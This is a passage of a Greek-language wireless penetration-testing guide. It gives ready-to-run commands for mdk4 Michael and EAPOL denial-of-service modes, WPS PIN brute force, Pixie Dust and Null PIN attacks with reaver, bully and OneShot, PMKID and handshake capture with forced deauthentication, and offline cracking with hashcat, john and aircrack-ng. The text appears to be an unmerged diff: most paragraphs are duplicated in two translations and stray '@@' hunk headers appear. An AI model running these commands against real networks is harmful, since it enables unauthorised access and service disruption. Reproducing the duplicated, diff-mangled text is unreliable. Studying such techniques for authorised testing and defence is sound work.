Η διερεύνηση των Σημείων Πρόσβασης (APs) ελέγχει αν ένα SSID αποκαλύπτεται σωστά και επιβεβαιώνει την εμβέλεια του AP. Αυτή η τεχνική, σε συνδυασμό με **bruteforcing κρυφών SSIDs** με ή χωρίς λίστα λέξεων, βοηθά στην αναγνώριση και πρόσβαση σε κρυμμένα δίκτυα.
**ΛΕΙΤΟΥΡΓΙΑ ΕΠΙΘΕΣΗΣ m: Εκμετάλλευση Καταστάσεων Αντίδρασης Michael**
**ATTACK MODE m: Michael Countermeasures Exploitation**
Η αποστολή τυχαίων ή διπλών πακέτων σε διαφορετικές ουρές QoS μπορεί να ενεργοποιήσει τις Καταστάσεις Αντίδρασης Michael σε **APs TKIP**, οδηγώντας σε απενεργοποίηση του AP για ένα λεπτό. Αυτή η μέθοδος είναι μια αποτελεσματική τακτική επίθεσης **DoS** (Άρνησης Υπηρεσίας).
Η αποστολή τυχαίων ή διπλών πακέτων σε διαφορετικές ουρές QoS μπορεί να ενεργοποιήσει τα Michael Countermeasures σε **TKIP APs**, οδηγώντας σε διακοπή του AP για ένα λεπτό. Αυτή η μέθοδος είναι μια αποτελεσματική τακτική επίθεσης **DoS** (Denial of Service).
```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**ΛΕΙΤΟΥΡΓΙΑ ΕΠΙΘΕΣΗΣ e: ΕΝΕΡΓΟΠΟΙΗΣΗ ΚΑΙ ΑΠΟΣΥΝΔΕΣΗ ΠΑΚΕΤΩΝ EAPOL**
**ATTACK MODE e: EAPOL Start and Logoff Packet Injection**
Η πλημμύρα ενός AP με **πλαισία EAPOL Start** δημιουργεί **ψεύτικες συνεδρίες**, υπερβαραίνοντας το AP και αποκλείοντας τους νόμιμους πελάτες. Εναλλακτικά, η εισαγωγή **ψεύτικων μηνυμάτων EAPOL Logoff** αποσυνδέει εξαναγκαστικά τους πελάτες, και οι δύο μέθοδοι διακόπτουν αποτελεσματικά την υπηρεσία του δικτύου.
Η πλημμύρα ενός AP με **EAPOL Start frames** δημιουργεί **ψεύτικες συνεδρίες**, κατακλύζοντας το AP και μπλοκάροντας τους νόμιμους πελάτες. Εναλλακτικά, η έγχυση **ψεύτικων EAPOL Logoff messages** αποσυνδέει βίαια τους πελάτες, και οι δύο μέθοδοι διαταράσσουν αποτελεσματικά την υπηρεσία δικτύου.
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```
**ΚΑΤΑΣΤΑΣΗ ΕΠΙΘΕΣΗΣ s: Επιθέσεις για τα δίκτυα πλέγματος IEEE 802.11s**
**ATTACK MODE s: Επιθέσεις για δίκτυα πλέγματος IEEE 802.11s**
Διάφορες επιθέσεις στη διαχείριση συνδέσεων και δρομολόγηση σε δίκτυα πλέγματος.
Διάφορες επιθέσεις στη διαχείριση συνδέσεων και δρομολόγησης σε δίκτυα πλέγματος.
**ΚΑΤΑΣΤΑΣΗ ΕΠΙΘΕΣΗΣ w: Σύγχυση WIDS**
**ATTACK MODE w: Σύγχυση WIDS**
Η σύνδεση πελατών σε πολλαπλούς κόμβους WDS ή ψεύτικα rogue APs μπορεί να χειραγωγήσει τα Συστήματα Ανίχνευσης και Πρόληψης Εισβολών, δημιουργώντας σύγχυση και πιθανή κατάχρηση του συστήματος.
Η διασύνδεση πελατών σε πολλαπλά WDS nodes ή ψεύτικα rogue APs μπορεί να χειραγωγήσει τα Συστήματα Ανίχνευσης και Πρόληψης Εισβολών, δημιουργώντας σύγχυση και πιθανή κακή χρήση του συστήματος.
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
```
**ΛΕΙΤΟΥΡΓΙΑ ΕΠΙΘΕΣΗΣ f: Packet Fuzzer**
**ΜΟΝΤΕΛΟ ΕΠΙΘΕΣΗΣ f: Packet Fuzzer**
Ένα εργαλείο packet fuzzer που προσφέρει διάφορες πηγές πακέτων και έναν περιεκτικό σύνολο τροποποιητών για την διαχείριση πακέτων.
Ένας packet fuzzer που διαθέτει ποικιλία πηγών πακέτων και ένα ολοκληρωμένο σύνολο τροποποιητών για την επεξεργασία πακέτων.
### **Airggedon**
_**Airgeddon**_ προσφέρει τις περισσότερες από τις επιθέσεις που προτάθηκαν στα προηγούμενα σχόλια:
![](<../../.gitbook/assets/image (126).png>)
![](<../../.gitbook/assets/image (95).png>)
## WPS
Το WPS (Wi-Fi Protected Setup) απλοποιεί τη διαδικασία σύνδεσης συσκευών σε έναν δρομολογητή, βελτιώνοντας την ταχύτητα εγκατάστασης και την ευκολία για δίκτυα που είναι κρυπτογραφημένα με **WPA** ή **WPA2** Personal. Δεν είναι αποτελεσματικό για την εύκολα ευάλωτη ασφάλεια WEP. Το WPS χρησιμοποιεί ένα 8-ψήφιο PIN, το οποίο επικυρώνεται σε δύο μέρη, κάτι που το καθιστά ευάλωτο σε επιθέσεις brute-force λόγω του περιορισμένου αριθμού συνδυασμών του (11.000 πιθανότητες).
Το WPS (Wi-Fi Protected Setup) απλοποιεί τη διαδικασία σύνδεσης συσκευών σε ένα δρομολογητή, βελτιώνοντας την ταχύτητα και την ευκολία εγκατάστασης για δίκτυα κρυπτογραφημένα με **WPA** ή **WPA2** Personal. Είναι αναποτελεσματικό για την εύκολα παραβιάσιμη ασφάλεια WEP. Το WPS χρησιμοποιεί έναν 8-ψήφιο PIN, που επικυρώνεται σε δύο μισά, καθιστώντας το ευάλωτο σε επιθέσεις brute-force λόγω του περιορισμένου αριθμού συνδυασμών (11,000 δυνατότητες).
### WPS Bruteforce
Υπάρχουν 2 κύρια εργαλεία για την εκτέλεση αυτής της ενέργειας: Reaver και Bully.
* Το **Reaver** έχει σχεδιαστεί για να είναι μια ανθεκτική και πρακτική επίθεση κατά του WPS, και έχει δοκιμαστεί ενάντια σε μια μεγάλη ποικιλία σημείων πρόσβασης και υλοποιήσεις WPS.
* Το **Bully** είναι μια **νέα υλοποίηση** της επίθεσης brute force του WPS, γραμμένη σε C. Διαθέτει αρκετά πλεονεκτήματα έναντι του αρχικού κώδικα του reaver: λιγότερες εξαρτήσεις, βελτιωμένη μνήμη και απόδοση επεξεργαστή, σωστή χειρισμό της endianness και ένα πιο αξιόπιστο σύνολο επιλογών.
* **Reaver** έχει σχεδιαστεί για να είναι μια ισχυρή και πρακτική επίθεση κατά του WPS, και έχει δοκιμαστεί σε μια ευρεία ποικιλία σημείων πρόσβασης και υλοποιήσεων WPS.
* **Bully** είναι μια **νέα υλοποίηση** της επίθεσης brute force WPS, γραμμένη σε C. Έχει αρκετά πλεονεκτήματα σε σχέση με τον αρχικό κώδικα reaver: λιγότερες εξαρτήσεις, βελτιωμένη μνήμη και απόδοση CPU, σωστή διαχείριση του endianness, και ένα πιο ισχυρό σύνολο επιλογών.
Η επίθεση εκμεταλλεύεται την **ευπάθεια του WPS PIN**, ιδιαίτερα την αποκάλυψη των πρώτων τεσσάρων ψηφίων και τον ρόλο του τελευταίου ψηφίου ως checksum, διευκολύνοντας την επίθεση brute-force. Ωστόσο, οι αμυντικές μέθοδοι ενάντια σε επιθέσεις brute-force, όπως η **αποκλεισμός των MAC διευθύνσεων** επιθετικών επιτιθέντων, απαιτούν **περιστροφή της MAC διεύθυνσης** για να συνεχιστεί η επίθεση.
Η επίθεση εκμεταλλεύεται την **ευπάθεια του WPS PIN**, ιδιαίτερα την έκθεση των πρώτων τεσσάρων ψηφίων και τον ρόλο του τελευταίου ψηφίου ως checksum, διευκολύνοντας την επίθεση brute-force. Ωστόσο, οι αμυντικές στρατηγικές κατά των επιθέσεων brute-force, όπως η **μπλοκάρισμα διευθύνσεων MAC** επιθετικών επιτιθεμένων, απαιτούν **περιστροφή διευθύνσεων MAC** για να συνεχιστεί η επίθεση.
Μετά την απόκτηση του WPS PIN με εργαλεία όπως το Bully ή το Reaver, ο επιτιθέμενος μπορεί να συμπεράνει τον WPA/WPA2 PSK, εξασφαλίζοντας **σταθερή πρόσβαση στο δίκτυο**.
Αφού αποκτήσει το WPS PIN με εργαλεία όπως το Bully ή το Reaver, ο επιτιθέμενος μπορεί να deduce το WPA/WPA2 PSK, εξασφαλίζοντας **μόνιμη πρόσβαση στο δίκτυο**.
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
```
**Έξυπνη Βία Με Δύναμη**
**Smart Brute Force**
Αυτή η εκλεπτυσμένη προσέγγιση στοχεύει τους WPS PIN χρησιμοποιώντας γνωστές ευπαθείες:
Αυτή η εκλεπτυσμένη προσέγγιση στοχεύει σε WPS PINs χρησιμοποιώντας γνωστές ευπάθειες:
1. **Προ-ανακαλυμμένα PINs**: Χρησιμοποιήστε μια βάση δεδομένων με γνωστά PINs που συνδέονται με συγκεκριμένους κατασκευαστές που χρησιμοποιούν ομοιόμορφα WPS PINs. Αυτή η βάση δεδομένων συσχετίζει τα πρώτα τρία οκτάδες των MAC-διευθύνσεων με πιθανά PINs για αυτούς τους κατασκευαστές.
2. **Αλγόριθμοι Δημιουργίας PIN**: Εκμεταλλευτείτε αλγόριθμους όπως το ComputePIN και το EasyBox, οι οποίοι υπολογίζουν τα WPS PINs με βάση τη MAC-διεύθυνση του AP. Ο αλγόριθμος Arcadyan απαιτεί επιπλέον ένα αναγνωριστικό συσκευής, προσθέτοντας ένα επίπεδο στη διαδικασία δημιουργίας του PIN.
1. **Προκαθορισμένα PINs**: Χρησιμοποιήστε μια βάση δεδομένων γνωστών PINs που συνδέονται με συγκεκριμένους κατασκευαστές που είναι γνωστό ότι χρησιμοποιούν ομοιόμορφα WPS PINs. Αυτή η βάση δεδομένων συσχετίζει τα πρώτα τρία οκτάδες των MAC διευθύνσεων με πιθανές PINs για αυτούς τους κατασκευαστές.
2. **Αλγόριθμοι Γεννήτριας PIN**: Εκμεταλλευτείτε αλγόριθμους όπως ComputePIN και EasyBox, οι οποίοι υπολογίζουν WPS PINs με βάση τη MAC διεύθυνση του AP. Ο αλγόριθμος Arcadyan απαιτεί επιπλέον μια ταυτότητα συσκευής, προσθέτοντας μια επιπλέον διάσταση στη διαδικασία δημιουργίας PIN.
### Επίθεση WPS Pixie Dust
### WPS Pixie Dust attack
Ο **Dominique Bongard** ανακάλυψε μια αδυναμία σε μερικά Σημεία Πρόσβασης (APs) που αφορά τη δημιουργία μυστικών κωδικών, γνωστών ως **nonces** (**E-S1** και **E-S2**). Αν αυτά τα nonces μπορούν να ανακαλυφθούν, η αποκωδικοποίηση του WPS PIN του AP γίνεται εύκολη. Το AP αποκαλύπτει το PIN μέσα σε έναν ειδικό κωδικό (hash) για να αποδείξει ότι είναι γνήσιο και όχι ένα ψεύτικο (κακόβουλο) AP. Αυτά τα nonces είναι ουσιαστικά τα "κλειδιά" για το ξεκλείδωμα του "ασφαλούς" που κρατά το WPS PIN. Περισσότερες πληροφορίες μπορούν να βρεθούν [εδώ](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
**Dominique Bongard** ανακάλυψε ένα σφάλμα σε ορισμένα Access Points (APs) σχετικά με τη δημιουργία μυστικών κωδικών, γνωστών ως **nonces** (**E-S1** και **E-S2**). Εάν αυτά τα nonces μπορέσουν να ανακαλυφθούν, η παραβίαση του WPS PIN του AP γίνεται εύκολη. Το AP αποκαλύπτει το PIN μέσα σε έναν ειδικό κωδικό (hash) για να αποδείξει ότι είναι νόμιμο και όχι ψεύτικο (rogue) AP. Αυτά τα nonces είναι ουσιαστικά τα "κλειδιά" για το άνοιγμα του "σεντουκιού" που κρατά το WPS PIN. Περισσότερα σχετικά με αυτό μπορείτε να βρείτε [εδώ](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
Απλά, το θέμα είναι ότι μερικά APs δεν χρησιμοποίησαν αρκετά τυχαία κλειδιά για την κρυπτογράφηση του PIN κατά τη διαδικασία σύνδεσης. Αυτό καθιστά το PIN ευάλωτο στη μαντεψιά από έξω από το δίκτυο (επίθεση με δύναμη βίας εκτός σύνδεσης).
Με απλά λόγια, το πρόβλημα είναι ότι ορισμένα APs δεν χρησιμοποίησαν αρκετά τυχαία κλειδιά για την κρυπτογράφηση του PIN κατά τη διαδικασία σύνδεσης. Αυτό καθιστά το PIN ευάλωτο στο να μαντευτεί από έξω από το δίκτυο (offline brute force attack).
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
Αν δεν θέλετε να μεταβείτε τη συσκευή σε λειτουργία παρακολούθησης, ή αν οι `reaver` και `bully` έχουν κάποιο πρόβλημα, μπορείτε να δοκιμάσετε το [OneShot-C](https://github.com/nikita-yfh/OneShot-C).
Αυτό το εργαλείο μπορεί να εκτελέσει επίθεση Pixie Dust χωρίς την ανάγκη για μετάβαση σε λειτουργία παρακολούθησης.
Αν δεν θέλετε να αλλάξετε τη συσκευή σε λειτουργία παρακολούθησης, ή αν το `reaver` και το `bully` έχουν κάποιο πρόβλημα, μπορείτε να δοκιμάσετε το [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Αυτό το εργαλείο μπορεί να εκτελέσει την επίθεση Pixie Dust χωρίς να χρειάζεται να αλλάξετε σε λειτουργία παρακολούθησης.
```bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
```
### Επίθεση Null Pin
### Null Pin attack
Κάποια κακά σχεδιασμένα συστήματα επιτρέπουν ακόμα και σε ένα **Null PIN** (ένα κενό ή μη υπαρκτό PIN) να παρέχει πρόσβαση, το οποίο είναι αρκετά ασυνήθιστο. Το εργαλείο **Reaver** είναι ικανό να ελέγξει αυτήν την ευπάθεια, για την οποία το **Bully** δεν είναι.
Ορισμένα κακώς σχεδιασμένα συστήματα επιτρέπουν ακόμη και έναν **Null PIN** (ένα κενό ή ανύπαρκτο PIN) να παρέχει πρόσβαση, κάτι που είναι αρκετά ασυνήθιστο. Το εργαλείο **Reaver** είναι ικανό να ελέγξει αυτή την ευπάθεια, σε αντίθεση με το **Bully**.
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```
### Airgeddon
Όλες οι προτεινόμενες επιθέσεις WPS μπορούν εύκολα να πραγματοποιηθούν χρησιμοποιώντας το _**airgeddon.**_
Όλες οι προτεινόμενες επιθέσεις WPS μπορούν να εκτελούνται εύκολα χρησιμοποιώντας _**airgeddon.**_
![](<../../.gitbook/assets/image (124).png>)
![](<../../.gitbook/assets/image (219).png>)
* Τα 5 και 6 σάς επιτρέπουν να δοκιμάσετε **το δικό σας PIN** (αν έχετε κάποιο)
* Τα 7 και 8 πραγματοποιούν την επίθεση **Pixie Dust**
* Το 13 σάς επιτρέπει να δοκιμάσετε το **NULL PIN**
* Τα 11 και 12 θα **συλλέξουν τα PIN που σχετίζονται με το επιλεγμένο AP από διαθέσιμες βάσεις δεδομένων** και θα **δημιουργήσουν** πιθανά **PINs** χρησιμοποιώντας: ComputePIN, EasyBox και προαιρετικά Arcadyan (συνιστάται, γιατί όχι;)
* Τα 9 και 10 θα δοκιμάσουν **κάθε πιθανό PIN**
* 5 και 6 σας επιτρέπουν να δοκιμάσετε **το δικό σας PIN** (αν έχετε)
* 7 και 8 εκτελούν την **επίθεση Pixie Dust**
* 13 σας επιτρέπει να δοκιμάσετε το **NULL PIN**
* 11 και 12 θα **ανακτήσουν τα PIN που σχετίζονται με το επιλεγμένο AP από διαθέσιμες βάσεις δεδομένων** και θα **δημιουργήσουν** πιθανά **PIN** χρησιμοποιώντας: ComputePIN, EasyBox και προαιρετικά Arcadyan (συνιστάται, γιατί όχι;)
* 9 και 10 θα δοκιμάσουν **κάθε πιθανό PIN**
## **WEP**
Τόσο σπασμένο και αχρησιμοποίητο σήμερα. Απλά γνωρίστε ότι το _**airgeddon**_ έχει μια επιλογή WEP με τίτλο "All-in-One" για να επιτεθεί σε αυτόν τον τύπο προστασίας. Περισσότερα εργαλεία προσφέρουν παρόμοιες επιλογές.
![](<../../.gitbook/assets/image (125).png>)
Τόσο σπασμένο και ανενεργό σήμερα. Απλά να ξέρετε ότι _**airgeddon**_ έχει μια επιλογή WEP που ονομάζεται "All-in-One" για να επιτεθεί σε αυτό το είδος προστασίας. Περισσότερα εργαλεία προσφέρουν παρόμοιες επιλογές.
![](<../../.gitbook/assets/image (432).png>)
***
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Συμμετέχετε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) διακομιστή για επικοινωνία με έμπειρους χάκερ και κυνηγούς ευρημάτων!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Εισαγωγές Χάκινγκ**\
Ασχοληθείτε με περιεχόμενο που εξερευνά την αγωνία και τις προκλήσεις του χάκινγκ
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον γρήγορο κόσμο του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενήμεροι με τις νεότερες ανακοινώσεις για νέες αμοιβές ευρημάτων και κρίσιμες ενημερώσεις πλατφόρμας
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
***
## WPA/WPA2 PSK
### PMKID
Το 2018, το **hashcat** [αποκάλυψε](https://hashcat.net/forum/thread-7717.html) μια νέα μέθοδο επίθεσης, μοναδική επειδή χρειάζεται μόνο **ένα μόνο πακέτο** και δεν απαιτεί καμία σύνδεση πελατών με τον στόχο AP - μόνο αλληλεπίδραση μεταξύ του επιτιθέμενου και του AP.
Το 2018, **hashcat** [αποκάλυψε](https://hashcat.net/forum/thread-7717.html) μια νέα μέθοδο επίθεσης, μοναδική επειδή χρειάζεται μόνο **ένα μόνο πακέτο** και δεν απαιτεί κανέναν πελάτη να είναι συνδεδεμένος στο στοχευμένο AP—μόνο αλληλεπίδραση μεταξύ του επιτιθέμενου και του AP.
Πολλοί σύγχρονοι δρομολογητές προσθέτουν ένα προαιρετικό πεδίο στο πρώτο πλαίσιο EAPOL κατά τη συσχέτιση, γνωστό ως `Robust Security Network`. Αυτό περιλαμβάνει το `PMKID`.
Πολλοί σύγχρονοι δρομολογητές προσθέτουν ένα **προαιρετικό πεδίο** στο **πρώτο EAPOL** πλαίσιο κατά τη διάρκεια της συσχέτισης, γνωστό ως `Robust Security Network`. Αυτό περιλαμβάνει το `PMKID`.
Όπως εξηγεί το αρχικό μήνυμα, το **PMKID** δημιουργείται χρησιμοποιώντας γνωστά δεδομένα:
Όπως εξηγεί η αρχική ανάρτηση, το **PMKID** δημιουργείται χρησιμοποιώντας γνωστά δεδομένα:
```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
Δεδομένου ότι το "Όνομα PMK" είναι σταθερό, γνωρίζουμε το BSSID του AP και του σταθμού, και το `PMK` είναι ταυτόσημο με αυτό από μια πλήρη 4-τρόπου συμφωνία, το **hashcat** μπορεί να χρησιμοποιήσει αυτές τις πληροφορίες για να αποκρυπτογραφήσει το PSK και να ανακτήσει τον κωδικό πρόσβασης!
Δεδομένου ότι το "PMK Name" είναι σταθερό, γνωρίζουμε το BSSID του AP και του σταθμού, και το `PMK` είναι ταυτόσημο με αυτό από μια πλήρη 4-way handshake, το **hashcat** μπορεί να χρησιμοποιήσει αυτές τις πληροφορίες για να σπάσει το PSK και να ανακτήσει τη φράση πρόσβασης!
Για να **συγκεντρώσετε** αυτές τις πληροφορίες και να **εκτελέσετε** την αναζήτηση του κωδικού πρόσβασης τοπικά, μπορείτε να:
Για να **συγκεντρώσετε** αυτές τις πληροφορίες και να **bruteforce** τοπικά τον κωδικό πρόσβασης μπορείτε να κάνετε:
```bash
airmon-ng check kill
airmon-ng start wlan0
@ -319,17 +321,16 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
Τα **PMKIDs που καταγράφηκαν** θα εμφανιστούν στη **κονσόλα** και θα **αποθηκευτούν** επίσης μέσα στο \_/tmp/attack.pcap\_\
Τώρα, μετατρέψτε την καταγραφή σε μορφή **hashcat/john** και αποκρυπτογραφήστε την:
Τα **PMKIDs που καταγράφηκαν** θα εμφανιστούν στην **κονσόλα** και επίσης θα **αποθηκευτούν** μέσα στο \_ **/tmp/attack.pcap**\_\
Τώρα, μετατρέψτε την καταγραφή σε **hashcat/john** μορφή και σπάστε την:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
Παρακαλώ σημειώστε ότι το σωστό format ενός hash περιλαμβάνει **4 μέρη**, όπως: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`
Αν το δικό σας περιέχει **μόνο 3 μέρη**, τότε είναι **μη έγκυρο** (η καταγραφή PMKID δεν ήταν έγκυρη).
Παρακαλώ σημειώστε ότι η μορφή ενός σωστού hash περιέχει **4 μέρη**, όπως: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Αν το δικό σας **περιέχει μόνο** **3 μέρη**, τότε είναι **μη έγκυρο** (η καταγραφή PMKID δεν ήταν έγκυρη).
Σημειώστε ότι το `hcxdumptool` **καταγράφει επίσης τις χειραψίες** (κάτι παρόμοιο θα εμφανιστεί: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Μπορείτε **να μετατρέψετε** τις **χειραψίες** σε μορφή **hashcat**/**john** χρησιμοποιώντας το `cap2hccapx`
Σημειώστε ότι το `hcxdumptool` **καταγράφει επίσης handshakes** (κάτι τέτοιο θα εμφανιστεί: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Μπορείτε να **μετατρέψετε** τα **handshakes** σε μορφή **hashcat**/**john** χρησιμοποιώντας το `cap2hccapx`
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@ -337,32 +338,32 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_Έχω παρατηρήσει ότι μερικά handshakes που καταγράφονται με αυτό το εργαλείο δεν μπορούν να αποκρυπτογραφηθούν ακόμα και αν γνωρίζουμε το σωστό συνθηματικό. Θα συνιστούσα να καταγράφετε handshakes και με τον παραδοσιακό τρόπο αν είναι δυνατόν, ή να καταγράφετε πολλά από αυτά χρησιμοποιώντας αυτό το εργαλείο._
_Έχω παρατηρήσει ότι μερικοί από τους χειραψίες που καταγράφηκαν με αυτό το εργαλείο δεν μπορούσαν να σπάσουν ακόμη και γνωρίζοντας τον σωστό κωδικό. Θα συνιστούσα να καταγράφετε τις χειραψίες και με παραδοσιακό τρόπο αν είναι δυνατόν, ή να καταγράφετε αρκετές από αυτές χρησιμοποιώντας αυτό το εργαλείο._
### Καταγραφή Handshake
### Χειραψία καταγραφής
Μια επίθεση σε δίκτυα **WPA/WPA2** μπορεί να εκτελεστεί καταγράφοντας ένα **handshake** και προσπαθώντας να **αποκρυπτογραφήσετε** το συνθηματικό **εκτός σύνδεσης**. Αυτή η διαδικασία περιλαμβάνει την παρακολούθηση της επικοινωνίας ενός συγκεκριμένου δικτύου και **BSSID** σε ένα συγκεκριμένο **κανάλι**. Εδώ υπάρχει ένας απλοποιημένος οδηγός:
Μια επίθεση σε δίκτυα **WPA/WPA2** μπορεί να εκτελεστεί καταγράφοντας μια **χειραψία** και προσπαθώντας να **σπάσει** τον κωδικό **εκτός σύνδεσης**. Αυτή η διαδικασία περιλαμβάνει την παρακολούθηση της επικοινωνίας ενός συγκεκριμένου δικτύου και **BSSID** σε ένα συγκεκριμένο **κανάλι**. Ακολουθεί ένας απλός οδηγός:
1. Αναγνωρίστε το **BSSID**, το **κανάλι** και ένα **συνδεδεμένο πελάτη** του στόχου δικτύου.
2. Χρησιμοποιήστε το `airodump-ng` για να παρακολουθήσετε την κίνηση του δικτύου στο συγκεκριμένο κανάλι και BSSID, ελπίζοντας να καταγράψετε ένα handshake. Η εντολή θα είναι κάτι τέτοιο:
1. Εντοπίστε το **BSSID**, το **κανάλι** και έναν **συνδεδεμένο πελάτη** του στοχευόμενου δικτύου.
2. Χρησιμοποιήστε το `airodump-ng` για να παρακολουθήσετε την κίνηση του δικτύου στο καθορισμένο κανάλι και BSSID, ελπίζοντας να καταγράψετε μια χειραψία. Η εντολή θα μοιάζει με αυτή:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
3. Για να αυξήσετε την πιθανότητα αιχμαλώτισης μιας χειραψίας, αποσυνδέστε προσωρινά τον πελάτη από το δίκτυο για να τον αναγκάσετε σε επαναπιστοποίηση. Αυτό μπορεί να γίνει χρησιμοποιώντας την εντολή `aireplay-ng`, η οποία στέλνει πακέτα αποσύνδεσης στον πελάτη:
3. Για να αυξήσετε την πιθανότητα σύλληψης ενός handshake, αποσυνδέστε προσωρινά τον πελάτη από το δίκτυο για να αναγκάσετε μια επανα-authentication. Αυτό μπορεί να γίνει χρησιμοποιώντας την εντολή `aireplay-ng`, η οποία στέλνει πακέτα αποσύνδεσης στον πελάτη:
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
_Σημείωση ότι καθώς ο πελάτης αποσυνδέθηκε μπορεί να προσπαθήσει να συνδεθεί σε διαφορετικό AP ή, σε άλλες περιπτώσεις, σε διαφορετικό δίκτυο._
_Σημειώστε ότι καθώς ο πελάτης αποεξουσιοδοτήθηκε, μπορεί να προσπαθήσει να συνδεθεί σε διαφορετικό AP ή, σε άλλες περιπτώσεις, σε διαφορετικό δίκτυο._
Μόλις εμφανιστούν πληροφορίες handshake στο `airodump-ng` αυτό σημαίνει ότι το handshake έχει καταγραφεί και μπορείτε να σταματήσετε την ακρόαση:
Μόλις στο `airodump-ng` εμφανιστούν κάποιες πληροφορίες χειραψίας, αυτό σημαίνει ότι η χειραψία καταγράφηκε και μπορείτε να σταματήσετε να ακούτε:
![](<../../.gitbook/assets/image (172) (1).png>)
Μόλις το handshake καταγραφεί μπορείτε να το **αποκρυπτογραφήσετε** με το `aircrack-ng`:
Μόλις η χειραψία καταγραφεί, μπορείτε να **σπάσετε** αυτήν με το `aircrack-ng`:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
### Έλεγχος αν έχει συλλεχθεί το handshake στο αρχείο
### Έλεγχος αν υπάρχει handshake στο αρχείο
**aircrack**
```bash
@ -376,7 +377,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
```
cowpatty -r psk-01.cap -s "ESSID" -f -
```
_Αν αυτό το εργαλείο βρει έναν μη ολοκληρωμένο handshake ενός ESSID πριν τον ολοκληρωμένο, δεν θα ανιχνεύσει τον έγκυρο._
_Εάν αυτό το εργαλείο βρει μια ατελή χειραψία ενός ESSID πριν από την ολοκληρωμένη, δεν θα ανιχνεύσει την έγκυρη._
**pyrit**
```bash
@ -385,57 +386,59 @@ pyrit -r psk-01.cap analyze
```
## **WPA Enterprise (MGT)**
Σε **εγκαταστάσεις WiFi επιχειρήσεων, θα αντιμετωπίσετε διάφορες μεθόδους πιστοποίησης**, καθεμία παρέχοντας διαφορετικά επίπεδα ασφάλειας και χαρακτηριστικά διαχείρισης. Όταν χρησιμοποιείτε εργαλεία όπως το `airodump-ng` για να επιθεωρήσετε την κίνηση του δικτύου, ενδέχεται να παρατηρήσετε αναγνωριστικά για αυτούς τους τύπους πιστοποίησης. Μερικές κοινές μεθόδους περιλαμβάνουν:
Σε **ρυθμίσεις WiFi επιχείρησης, θα συναντήσετε διάφορες μεθόδους αυθεντικοποίησης**, καθεμία από τις οποίες παρέχει διαφορετικά επίπεδα ασφάλειας και δυνατότητες διαχείρισης. Όταν χρησιμοποιείτε εργαλεία όπως το `airodump-ng` για να ελέγξετε την κίνηση του δικτύου, μπορεί να παρατηρήσετε αναγνωριστικά για αυτούς τους τύπους αυθεντικοποίησης. Ορισμένες κοινές μέθοδοι περιλαμβάνουν:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
1. **EAP-GTC (Γενική Κάρτα Διακριτικού)**:
